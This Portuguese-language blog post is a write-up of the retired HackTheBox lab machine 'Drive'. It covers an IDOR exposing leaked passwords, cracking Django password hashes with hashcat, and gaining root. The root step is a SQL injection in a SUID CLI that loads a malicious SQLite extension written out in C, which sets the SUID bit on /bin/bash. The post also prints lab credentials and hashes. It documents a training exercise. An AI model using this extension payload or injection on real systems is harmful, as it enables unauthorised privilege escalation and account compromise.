DEV Community

Guilherme Martins
Guilherme Martins

Posted on • Updated on

HackTheBox - Writeup Drive [Retired]

HackTheBox

Neste writeup iremos explorar uma máquina linux de nível hard chamada Drive que aborda as seguintes vulnerabilidades e técnicas de exploração:

  • IDOR
  • Password Hardcoded
  • Hash Cracking
  • SQL Injection load lib

Recon e user flag

Vamos iniciar realizando uma varredura no host alvo para visualizar as portas abertas, para isso vamos utilizar o nmap:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/drive]
└─# nmap -sV --open -Pn 10.129.81.217 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-14 15:04 EDT
Nmap scan report for 10.129.81.217
Host is up (0.26s latency).
Not shown: 996 closed tcp ports (reset), 2 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Enter fullscreen mode Exit fullscreen mode

Temos aqui um nginx rodando na porta 80 e a porta 22 do ssh.
Ao acessar pelo navegador somos redirecionados para drive.htb, vamos adicionar em nosso /etc/hosts.

Uma vez adicionado temos a seguinte página web:

Doodle Drive

Aqui temos um Doogle Grive, que é uma aplicação "clone" do Google Drive.
Acessando http://drive.htb/register temos uma tela para criação de usuário e em http://drive.htb/login temos uma tela de login.

Podemos criar um usuário e acessar a aplicação para uma melhor análise:

Register

E com estes dados acessar a aplicação, que nos retorna a seguinte página:

Upload File

Temos aqui duas novas opções, uma permitindo upload de arquivos:

Upload File Page

E outra para o Dashboard:

Dashboard

Podemos notar que ja existe um arquivo no dashboard que pertence ao usuário admin, mas esta no grupo public, sendo assim conseguimos visualizar seu conteúdo:

Reading file

Utilizando o Burp Suite como proxy conseguimos analisar todas as requisições e respostas que são realizadas durante a navegação pelo site. Através desta análise conseguimos notar que existe um ID para cada arquivo, que é utilizado em diversas requisições como ler o conteúdo do arquivo:

Repeater Burp Suite

Se realizarmos o upload de algum arquivo ele recebe um ID também, como podemos notar na url do arquivo de teste abaixo:

File uploaded

Podemos utilizar o intruder do Burp Suite para buscar por outras ID's e tentar descobrir novos arquivos. Para isso precisamos testar em diversos endpoints a procura de algum IDOR.

Intruder Burp Suite

No payload colocamos uma lista que vai de 1 a 999. Com isso basta clicar em Start attack.

Intruder Payload Sets

E analisando os requests realizados temos o seguinte retorno no ID 79 no endpoint /block:

Intruder Results

Também podemos acessar http://drive.htb/79/block pelo navegador para ter uma melhor visualização:

File id 79

Ao clicar em Just View temos a seguinte mensagem:

hey team after the great success of the platform we need now to continue the work.
on the new features for ours platform.
I have created a user for martin on the server to make the workflow easier for you please use the password "Xk4@KjyrYv8t194L!".
please make the necessary changes to the code before the end of the month
I will reach you soon with the token to apply your changes on the repo
thanks!
Enter fullscreen mode Exit fullscreen mode

Aqui temos nossa primeira vulnerabilidade, um Insecure Direct Object References (IDOR), ocorre quando conseguimos ter acesso a recursos que o usuário não deveria ter.

A mensagem informa que foi criado um usuário para martin e uma senha, podemos testar o acesso ssh:

┌──(root㉿kali)-[~kali/hackthebox/machines-linux/drive]
└─# ssh martin@drive.htb 
martin@drive.htb's password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-164-generic x86_64)
 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
  System information as of Sat 14 Oct 2023 09:08:56 PM UTC
  System load:           0.12
  Usage of /:            63.1% of 5.07GB
  Memory usage:          20%
  Swap usage:            0%
  Processes:             229
  Users logged in:       0
  IPv4 address for eth0: 10.129.81.217
  IPv6 address for eth0: dead:beef::250:56ff:fe96:c5d5
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
Enter fullscreen mode Exit fullscreen mode

Foram encontradas diversas outras mensagens, como por exemplo:

  • ID 101:
hi team!
me and my friend(Cris) created a new scheduled backup plan for the database
the database will be automatically highly compressed and copied to /var/www/backups/ by a small bash script every day at 12:00 AM
*Note: the backup directory may change in the future!
*Note2: the backup would be protected with strong password! don't even think to crack it guys! :)
Enter fullscreen mode Exit fullscreen mode
  • ID 98:
hi team
have a great day.
we are testing the new edit functionality!
it seems to work great!
Enter fullscreen mode Exit fullscreen mode
  • ID 99:
hi team
please we have to stop using the document platform for the chat
+I have fixed the security issues in the middleware
thanks! :)
Enter fullscreen mode Exit fullscreen mode

Conseguimos acesso com o usuário martin, agora podemos realizar um recon do servidor alvo.

Encontramos arquivos de backup do banco, conforme descrito na mensagem contido no ID 101:

martin@drive:~$ ls -alh /var/www/backups/
total 3.7M
drwxr-xr-x 2 www-data www-data 4.0K Sep  1 18:23 .
drwxr-xr-x 5 root     root     4.0K Sep 15 13:34 ..
-rw-r--r-- 1 www-data www-data  13K Sep  1 20:00 1_Dec_db_backup.sqlite3.7z
-rw-r--r-- 1 www-data www-data  12K Sep  1 20:00 1_Nov_db_backup.sqlite3.7z
-rw-r--r-- 1 www-data www-data  13K Sep  1 20:00 1_Oct_db_backup.sqlite3.7z
-rw-r--r-- 1 www-data www-data  13K Sep  1 20:00 1_Sep_db_backup.sqlite3.7z
-rwxr-xr-x 1 root     root     3.6M Dec 26  2022 db.sqlite3
Enter fullscreen mode Exit fullscreen mode

Realizando o download para nossa máquina conseguimos visualizar o conteúdo do arquivo db.sqlite3 utilizando o SQLite Browser. Nesse banco existem diversos usuários e senhas:

accounts_customuser table

Os demais arquivo estão compactados e protegidos por senha, não sendo possível descompactar com as senhas que ja obtivemos.

No entanto, nesse arquivo temos algumas hashes de usuários:

jamesMason:sha1$W5IGzMqPgAUGMKXwKRmi08$030814d90a6a50ac29bb48e0954a89132302483a
martinCruz:sha1$E9cadw34Gx4E59Qt18NLXR$60919b923803c52057c0cdd1d58f0409e7212e9f
tomHands:sha1$kyvDtANaFByRUMNSXhjvMc$9e77fb56c31e7ff032f8deb1f0b5e8f42e9e3004
crisDisel:sha1$ALgmoJHkrqcEDinLzpILpD$4b835a084a7c65f5fe966d522c0efcdd1d6f879f
admin:sha1$jzpj8fqBgy66yby2vX5XPa$52f17d6118fce501e3b60de360d4c311337836a3
Enter fullscreen mode Exit fullscreen mode

Mas não conseguimos quebrar a senha.

Temos algumas portas rodando no localhost, como a 33060, 3306 e 3000:

martin@drive:~$ netstat -ntlp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 :::3000                 :::*                    LISTEN      -     
Enter fullscreen mode Exit fullscreen mode

Geralmente a porta 3306 é utilizada pelo banco de dados MySQL. Mas podemos visualizar os serviços criando um tunel via ssh, de forma que seja disponível em nossa máquina nas portas 3306, 3000 e 33060:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/drive]
└─# ssh -L 3306:127.0.0.1:3306 -L 3000:127.0.0.1:3000 martin@drive.htb 
martin@drive.htb's password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-164-generic x86_64)
Enter fullscreen mode Exit fullscreen mode

Podemos visualizar as novas portas abertas em nossa máquina local:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/drive]
└─# netstat -ntlp | egrep '3306|3000|33060'
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      3389263/ssh         
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      3389263/ssh         
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      3389263/ssh         
tcp6       0      0 ::1:33060               :::*                    LISTEN      3389263/ssh         
tcp6       0      0 ::1:3000                :::*                    LISTEN      3389263/ssh         
tcp6       0      0 ::1:3306                :::*                    LISTEN      3389263/ssh  
Enter fullscreen mode Exit fullscreen mode

Agora conseguimos acessar através da nossa máquina e confirmar que na porta 3306 temos realmente um mysql:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/drive]
└─# nc -v 127.0.0.1 3306
localhost [127.0.0.1] 3306 (mysql) open
Enter fullscreen mode Exit fullscreen mode

Na porta 33060 temos algum serviço que aceita conexões tcp e udp:

┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/drive]
└─# nc -uv 127.0.0.1 33060
localhost [127.0.0.1] 33060 (?) open
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/drive]
└─# nc -v 127.0.0.1 33060 
localhost [127.0.0.1] 33060 (?) open
Enter fullscreen mode Exit fullscreen mode

E na porta 3000 tem um gitea, que é um git open source e self hosted:

Gitea

Como podemos nos registrar vamos criar um usuário para visualizar se existe algum repositório público para usuários registrados:

Gitea login

Aqui conseguimos combinar a senha que descobrimos inicialmente Xk4@KjyrYv8t194L! e o usuário que visualizamos no banco martinCruz e assim conseguimos acesso ao gitea!

Com isso conseguimos visualizar um repositório privado:

crisDiesel/DoodleGrive repository

E no arquivo http://localhost:3000/crisDisel/DoodleGrive/src/branch/main/db_backup.sh temos o seguinte conteúdo:

#!/bin/bash
DB=$1
date_str=$(date +'%d_%b')
7z a -p'H@ckThisP@ssW0rDIfY0uC@n:)' /var/www/backups/${date_str}_db_backup.sqlite3.7z db.sqlite3
cd /var/www/backups/
ls -l --sort=t *.7z > backups_num.tmp
backups_num=$(cat backups_num.tmp | wc -l)
if [[ $backups_num -gt 10 ]]; then
      #backups is more than 10... deleting to oldest backup
      rm $(ls  *.7z --sort=t --color=never | tail -1)
      #oldest backup deleted successfully!
fi
rm backups_num.tmp
Enter fullscreen mode Exit fullscreen mode

Com essa senha conseguimos descompactar os backups:

┌──(root㉿kali)-[~kali/…/machines-linux/drive/writeup-shits/backups]
└─# 7z x 1_Dec_db_backup.sqlite3.7z 
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,128 CPUs Intel(R) Core(TM) i5-1038NG7 CPU @ 2.00GHz (706E5),ASM,AES-NI)
Scanning the drive for archives:
1 file, 13018 bytes (13 KiB)
Extracting archive: 1_Dec_db_backup.sqlite3.7z
--
Path = 1_Dec_db_backup.sqlite3.7z
Type = 7z
Physical Size = 13018
Headers Size = 170
Method = LZMA2:22 7zAES
Solid = -
Blocks = 1
Enter password (will not be echoed):
Everything is Ok             
Size:       3760128
Compressed: 13018
Enter fullscreen mode Exit fullscreen mode

E assim vamos extrair todos os backups e buscar todas as hashes dos usuários, assim como fizemos no primeiro arquivo.

Com isso temos as seguintes hashes:

# Dezembro:
jamesMason:pbkdf2_sha256$390000$npEvp7CFtZzEEVp9lqDJOO$So15//tmwvM9lEtQshaDv+mFMESNQKIKJ8vj/dP4WIo=
martinCruz:pbkdf2_sha256$390000$GRpDkOskh4irD53lwQmfAY$klDWUZ9G6k4KK4VJUdXqlHrSaWlRLOqxEvipIpI5NDM=
tomHands:pbkdf2_sha256$390000$wWT8yUbQnRlMVJwMAVHJjW$B98WdQOfutEZ8lHUcGeo3nR326QCQjwZ9lKhfk9gtro=
crisDisel:pbkdf2_sha256$390000$TBrOKpDIumk7FP0m0FosWa$t2wHR09YbXbB0pKzIVIn9Y3jlI3pzH0/jjXK0RDcP6U=
admin:pbkdf2_sha256$390000$ZjZj164ssfwWg7UcR8q4kZ$KKbWkEQCpLzYd82QUBq65aA9j3+IkHI6KK9Ue8nZeFU=

# Novembro:
jamesMason:sha1$W5IGzMqPgAUGMKXwKRmi08$030814d90a6a50ac29bb48e0954a89132302483a
martinCruz:sha1$E9cadw34Gx4E59Qt18NLXR$60919b923803c52057c0cdd1d58f0409e7212e9f
tomHands:sha1$Ri2bP6RVoZD5XYGzeYWr7c$4053cb928103b6a9798b2521c4100db88969525a
crisDisel:sha1$ALgmoJHkrqcEDinLzpILpD$4b835a084a7c65f5fe966d522c0efcdd1d6f879f
admin:sha1$jzpj8fqBgy66yby2vX5XPa$52f17d6118fce501e3b60de360d4c311337836a3

# Setembro:
jamesMason:sha1$W5IGzMqPgAUGMKXwKRmi08$030814d90a6a50ac29bb48e0954a89132302483a
martinCruz:sha1$E9cadw34Gx4E59Qt18NLXR$60919b923803c52057c0cdd1d58f0409e7212e9f
tomHands:sha1$DhWa3Bym5bj9Ig73wYZRls$3ecc0c96b090dea7dfa0684b9a1521349170fc93
crisDisel:sha1$ALgmoJHkrqcEDinLzpILpD$4b835a084a7c65f5fe966d522c0efcdd1d6f879f
admin:sha1$jzpj8fqBgy66yby2vX5XPa$52f17d6118fce501e3b60de360d4c311337836a3

# Outubro:
jamesMason:sha1$W5IGzMqPgAUGMKXwKRmi08$030814d90a6a50ac29bb48e0954a89132302483a
martinCruz:sha1$E9cadw34Gx4E59Qt18NLXR$60919b923803c52057c0cdd1d58f0409e7212e9f
tomHands:sha1$Ri2bP6RVoZD5XYGzeYWr7c$71eb1093e10d8f7f4d1eb64fa604e6050f8ad141
crisDisel:sha1$ALgmoJHkrqcEDinLzpILpD$4b835a084a7c65f5fe966d522c0efcdd1d6f879f
admin:sha1$jzpj8fqBgy66yby2vX5XPa$52f17d6118fce501e3b60de360d4c311337836a3

Enter fullscreen mode Exit fullscreen mode

Notamos aqui que somente em Dezembro temos um tipo de hash diferente dos demais meses.
Aqui vamos precisar separar as hashes por tipos e por usuário e tentar quebrá-las.
Para diminuir o tempo neste procedimento vamos nos atentar somente aos usuários cris e tom, pois são os únicos que possuem shell no host alvo:

root:x:0:0:root:/root:/bin/bash
git:x:115:119:Git Version Control,,,:/home/git:/bin/bash
martin:x:1001:1001:martin cruz,,,:/home/martin:/bin/bash
cris:x:1002:1002:Cris Disel,,,:/home/cris:/bin/bash
tom:x:1003:1003:Tom Hands,,,:/home/tom:/bin/bash
Enter fullscreen mode Exit fullscreen mode

Visto que o usuário martin nós ja temos a senha e o usuário root não esta presente.

Tivemos sucesso realizando o procedimento para o usuário tom:

┌──(root㉿kali)-[~kali/hackthebox/machines-linux/drive]
└─# hashcat -m 124 hashes/tom-sha1 /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
...
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344389
* Bytes.....: 139921546
* Keyspace..: 14344389

sha1$Ri2bP6RVoZD5XYGzeYWr7c$71eb1093e10d8f7f4d1eb64fa604e6050f8ad141:johniscool
sha1$DhWa3Bym5bj9Ig73wYZRls$3ecc0c96b090dea7dfa0684b9a1521349170fc93:john boy
sha1$Ri2bP6RVoZD5XYGzeYWr7c$4053cb928103b6a9798b2521c4100db88969525a:johnmayer7

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 124 (Django (SHA-1))
Hash.Target......: hashes/tom-sha1

Enter fullscreen mode Exit fullscreen mode

Com a senha johnmayer7 tivemos sucesso para acessar o host alvo via ssh e assim conseguir a user flag:

┌──(root㉿kali)-[~kali/hackthebox/machines-linux/drive/DoodleGrive]
└─# ssh tom@drive.htb
tom@drive.htb's password: 
Permission denied, please try again.
tom@drive.htb's password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-164-generic x86_64)
 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
  System information as of Sun 15 Oct 2023 05:37:12 PM UTC
  System load:           0.02
  Usage of /:            63.3% of 5.07GB
  Memory usage:          27%
  Swap usage:            0%
  Processes:             230
  Users logged in:       1
  IPv4 address for eth0: 10.129.81.217
  IPv6 address for eth0: dead:beef::250:56ff:fe96:c5d5
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Mon Oct  9 09:19:30 2023 from 10.10.14.40
tom@drive:~$ ls -alh
total 916K
drwxr-x--- 6 tom  tom  4.0K Sep 13 13:51 .
drwxr-xr-x 6 root root 4.0K Dec 25  2022 ..
lrwxrwxrwx 1 root root    9 Sep  6 02:56 .bash_history -> /dev/null
-rw-r--r-- 1 tom  tom   220 Dec 25  2022 .bash_logout
-rw-r--r-- 1 tom  tom  3.7K Dec 25  2022 .bashrc
drwx------ 3 tom  tom  4.0K Jan  1  2023 .cache
drwx------ 3 tom  tom  4.0K Feb  3  2023 .config
-rwSr-x--- 1 root tom  867K Sep 13 13:36 doodleGrive-cli
drwx------ 3 tom  tom  4.0K Jan  1  2023 .gnupg
drwxrwxr-x 3 tom  tom  4.0K Dec 28  2022 .local
-rw-r--r-- 1 tom  tom   807 Dec 25  2022 .profile
-rw-r----- 1 root tom   719 Feb 11  2023 README.txt
-rw-r----- 1 root tom    33 Oct 14 19:03 user.txt
-rw-r--r-- 1 tom  tom    39 Aug 29 05:59 .vimrc

tom@drive:~$ cat user.txt 
44c8199e75664228f6255983b324aa91
Enter fullscreen mode Exit fullscreen mode

Escalação de privilégios e root flag

Agora com acesso com o usuário tom podemos visualizar que existe um binário em seu diretório home e um README.txt:

tom@drive:~$ ls -alh
total 916K
drwxr-x--- 6 tom  tom  4.0K Sep 13 13:51 .
drwxr-xr-x 6 root root 4.0K Dec 25  2022 ..
lrwxrwxrwx 1 root root    9 Sep  6 02:56 .bash_history -> /dev/null
-rw-r--r-- 1 tom  tom   220 Dec 25  2022 .bash_logout
-rw-r--r-- 1 tom  tom  3.7K Dec 25  2022 .bashrc
drwx------ 3 tom  tom  4.0K Jan  1  2023 .cache
drwx------ 3 tom  tom  4.0K Feb  3  2023 .config
-rwSr-x--- 1 root tom  867K Sep 13 13:36 doodleGrive-cli
drwx------ 3 tom  tom  4.0K Jan  1  2023 .gnupg
drwxrwxr-x 3 tom  tom  4.0K Dec 28  2022 .local
-rw-r--r-- 1 tom  tom   807 Dec 25  2022 .profile
-rw-r----- 1 root tom   719 Feb 11  2023 README.txt
-rw-r----- 1 root tom    33 Dec 27 13:59 user.txt
-rw-r--r-- 1 tom  tom    39 Aug 29 05:59 .vimrc
Enter fullscreen mode Exit fullscreen mode

E podemos visualizar o conteúdo do README.txt:

tom@drive:~$ cat README.txt 
Hi team
after the great success of DoodleGrive, we are planning now to start working on our new project: "DoodleGrive self hosted",it will allow our customers to deploy their own documents sharing platform privately on thier servers...
However in addition with the "new self Hosted release" there should be a tool(doodleGrive-cli) to help the IT team in monitoring server status and fix errors that may happen.
As we mentioned in the last meeting the tool still in the development phase and we should test it properly...
We sent the username and the password in the email for every user to help us in testing the tool and make it better.
If you face any problem, please report it to the development team.
Best regards.
Enter fullscreen mode Exit fullscreen mode

A mensagem informa que o binário doodleGrive-cli esta sendo desenvolvido para que clientes consigam utilizar a aplicação de modo self hosted, ou seja, sem depender da infraestrutura de terceiros.

É interessante notar que o binário possui o SUID setado, ou seja, usuários que executem este binário herdam as permissões do dono, nesse caso o usuário root.

Podemos analisar o binário usando o comando strings:

tom@drive:~$ strings doodleGrive-cli > output-strings
Enter fullscreen mode Exit fullscreen mode

E agora podemos usar o vim para visualizar seu conteúdo. Dentre eles temos o seguinte conteúdo:

...
/usr/bin/sqlite3 /var/www/DoodleGrive/db.sqlite3 -line 'SELECT id,last_login,is_superuser,username,email,is_staff,is_active,date_joined FROM accounts_customuser;'
/usr/bin/sqlite3 /var/www/DoodleGrive/db.sqlite3 -line 'SELECT id,name FROM accounts_g;'
/usr/bin/sudo -u www-data /opt/server-health-check.sh
Enter username to activate account:
Error: Username cannot be empty.
/usr/bin/sqlite3 /var/www/DoodleGrive/db.sqlite3 -line 'UPDATE accounts_customuser SET is_active=1 WHERE username="%s";'
Activating account for user '%s'...
/usr/bin/sudo -u www-data /usr/bin/tail -1000 /var/log/nginx/access.log
doodleGrive cli beta-2.2:
1. Show users list and info
2. Show groups list
3. Check server health and status
4. Show server requests log (last 1000 request)
5. activate user account
6. Exit
Select option:
exiting...
please Select a valid option...
PATH
[!]Caution this tool still in the development phase...please report any issue to the development team[!]
Enter Username:
Enter password for
moriarty
findMeIfY0uC@nMr.Holmz!
Welcome...!
Invalid username or password.
...
Enter fullscreen mode Exit fullscreen mode

Aqui temos algumas informações importantes, primeiro o usuário e senha de acesso a aplicação.
Também temos algumas execuções do sqlite3 no qual é realizado dois selects, um para buscar do accounts_customeuser que é a tabela que buscamos os hashes do usuários. O outro select busca id e name da tabela accounts_g, que aparentemente são os grupos.
Temos outra execução que ativa um usuário, ou seja, ele realiza um update no banco setando o parâmetro is_active=1.

Analisando as opções que temos a única que aceita input do usuário é a quinta, no qual precisa informar qual conta de usuário será ativado.
Em uma busca por injeções maliciosas encontramos a possibilidade de um SQL Injection realizando o load de uma lib maliciosa.

Iremos iniciar nossa exploração criando um exploit em C com o seguinte conteúdo:

//gcc -shared name.c -o name.so -nostartfiles -fPIC

#include <sqlite3ext.h>
#include <stdlib.h>
#include <unistd.h>

SQLITE_EXTENSION_INIT1

int sqlite3_extension_init(sqlite3 *db) {
    setuid(0);
    setgid(0);
    system("/usr/bin/chmod u+s /bin/bash");
    return SQLITE_OK;
}
Enter fullscreen mode Exit fullscreen mode

Este exploit vai executar um comando no sistema para adicionar o SUID no arquivo /bin/bash, para que o usuário que executar crie um shell com permissões de root. O resto da função foi tirado da documentação de Programming Loadable Extension do sqlite.

Agora precisamos compilar o arquivo para que o mesmo esteja disponível como .so, que é um arquivo de lib no linux.

Para isso vamos executar o seguinte comando:

┌──(root㉿kali)-[~kali/hackthebox/machines-linux/drive]
└─# gcc -shared exploit.c -o P.so -nostartfiles -fPIC

┌──(root㉿kali)-[~kali/hackthebox/machines-linux/drive]
└─# ls -a  
.  ..  backups  exploit.c   P.so

Enter fullscreen mode Exit fullscreen mode

A escolha do nome P.so é visando facilitar o comando para realizar o load da extensão. Ocorre que vamos precisar passar o comando como Char:

load_extension(char(65,47,80))
Enter fullscreen mode Exit fullscreen mode

Isso ocorre pois tentamos anteriormente carregar utilizando path do arquivo completo, sem sucesso:

doodleGrive cli beta-2.2: 
1. Show users list and info
2. Show groups list
3. Check server health and status
4. Show server requests log (last 1000 request)
5. activate user account
6. Exit
Select option: 5
Enter username to activate account: "+load_extension('/home/tom/P.so')--;      
Activating account for user '"+load_extension(hometomP.so)--'...
Error: no such column: hometomP.so
Enter fullscreen mode Exit fullscreen mode

Existe uma sanitização que remove as barras, não conseguindo carregar o arquivo corretamente.

E caso passar somente o nome do arquivo, por estar no mesmo diretório da execução ele não reconhece o mesmo como um arquivo:

doodleGrive cli beta-2.2: 
1. Show users list and info
2. Show groups list
3. Check server health and status
4. Show server requests log (last 1000 request)
5. activate user account
6. Exit
Select option: 5
Enter username to activate account: "+load_extension('P.so')--;
Activating account for user '"+load_extension(P.so)--'...
Error: no such column: P.so
Enter fullscreen mode Exit fullscreen mode

Então a saída foi utilizar como char:

doodleGrive cli beta-2.2: 
1. Show users list and info
2. Show groups list
3. Check server health and status
4. Show server requests log (last 1000 request)
5. activate user account
6. Exit
Select option: 5
Enter username to activate account: "+load_extension(char(46,47,80))--;
Activating account for user '"+load_extension(char(46,47,80))--'...

doodleGrive cli beta-2.2: 
1. Show users list and info
2. Show groups list
3. Check server health and status
4. Show server requests log (last 1000 request)
5. activate user account
6. Exit
Select option: ^C
tom@drive:~$ stat /bin/bash
  File: /bin/bash
  Size: 1183448         Blocks: 2312       IO Block: 4096   regular file
Device: fd00h/64768d    Inode: 520         Links: 1
Access: (4755/-rwsr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2023-12-27 13:57:57.651723070 +0000
Modify: 2022-04-18 09:14:46.000000000 +0000
Change: 2023-12-28 01:30:08.266636758 +0000
 Birth: -

Enter fullscreen mode Exit fullscreen mode

E assim conseguimos executar nosso exploit, adicionando o SUID no /bin/bash. Conseguindo acesso como root!

tom@drive:~$ /bin/bash -p
bash-5.0# id
uid=1003(tom) gid=1003(tom) euid=0(root) groups=1003(tom)
Enter fullscreen mode Exit fullscreen mode

Agora que somos root na máquina, basta buscar a root flag:

bash-5.0# cd /root
bash-5.0# ls -a
.  ..  .bash_history  .bashrc  .cache  .config  .local  .mysql_history  .profile  .python_history  root.txt  .ssh  .vimrc
bash-5.0# cat root.txt
e1fe98edf410d6e5c123d829922190b8
Enter fullscreen mode Exit fullscreen mode

Finalizamos assim a máquina Drive :)

Pwned machine

Top comments (1)

Collapse
 
hrh profile image
Harry

Sounds really intresting i wana learn this🔥💯